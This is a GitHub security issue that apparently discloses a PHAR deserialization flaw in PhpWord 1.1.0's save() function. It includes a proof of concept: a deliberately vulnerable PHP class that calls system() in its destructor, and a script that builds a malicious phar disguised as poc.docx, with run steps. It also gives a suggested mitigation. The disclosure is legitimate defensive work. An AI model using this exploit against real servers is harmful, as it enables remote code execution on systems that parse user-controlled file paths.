Skip to content

Security Issue: Phar deserialization when saving file #2490

@nightfury99

Description

@nightfury99

Describe the Bug

PhpWord is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() and unlink() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when PhpWord is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code (Currently working on PhpWord gadget chain). If user can control the output file from the $objWriter->save(); function, it will invoke deserialization. We already reported on huntr.dev medium here.

Steps to Reproduce

Install PhpWord using composer like composer require phpoffice/phpword. After that, in the directory, create an index.php file with this vulnerable code.

<?php

require_once './vendor/autoload.php';
use PhpOffice\PhpWord\IOFactory;
use PhpOffice\PhpWord\Settings;

// vulnerable object
class VulnerableClass {
    public $args;

    function __destruct() {
        system($this->args);
    }
}

\PhpOffice\PhpWord\Settings::setZipClass(Settings::PCLZIP);
$phpWord = new \PhpOffice\PhpWord\PhpWord();

$phpWord->setDefaultFontName('Calibri');
$phpWord->setDefaultFontSize(12);

$section = $phpWord->addSection();

// $section->addImage("https://google.com");

$objWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'Word2007');
$objWriter->save("phar://poc.docx");

Next as an attacker, we are going to generate the malicious phar using this script.

<?php
// generate_phar.php

class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->args = "uname -a > pwned";

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

// Add a new file in the archive with "text" as its content
$poc["file"] = "text";

// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);

// Stop buffering and write changes to disk
$poc->stopBuffering();

rename("poc.phar", "poc.docx");
?>

Then run these command to generate the file and you will see poc.docx will be generated.

php --define phar.readonly=0 generate_phar.php

Lastly, execute index.php like so.

php index.php

Then you will see a file named pwned was created.

Expected Behavior

PhpWord does not accept phar wrapper as output filename.

Current Behavior

PhpWord accept phar wrapper as output filename, does invoke deserialization.

Context

  • PHP Version: php 7.4
  • PHPWord Version: 1.1.0

Impact

This vulnerability is capable of remote code execution if PhpWord is used with frameworks such as Laravel/Codeigniter or developer code with vulnerable POP chains. For now, I still developing gadget chain for PhpWord to increase the reliability.

Suggested Mitigation

To remediate this, consider to remove any protocol from user input since PhpWord does not need phar wrapper.

Credits:

Ahmad Shauqi (nightfury99) of NetbyteSEC SDN BHD (NetbyteSEC)

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions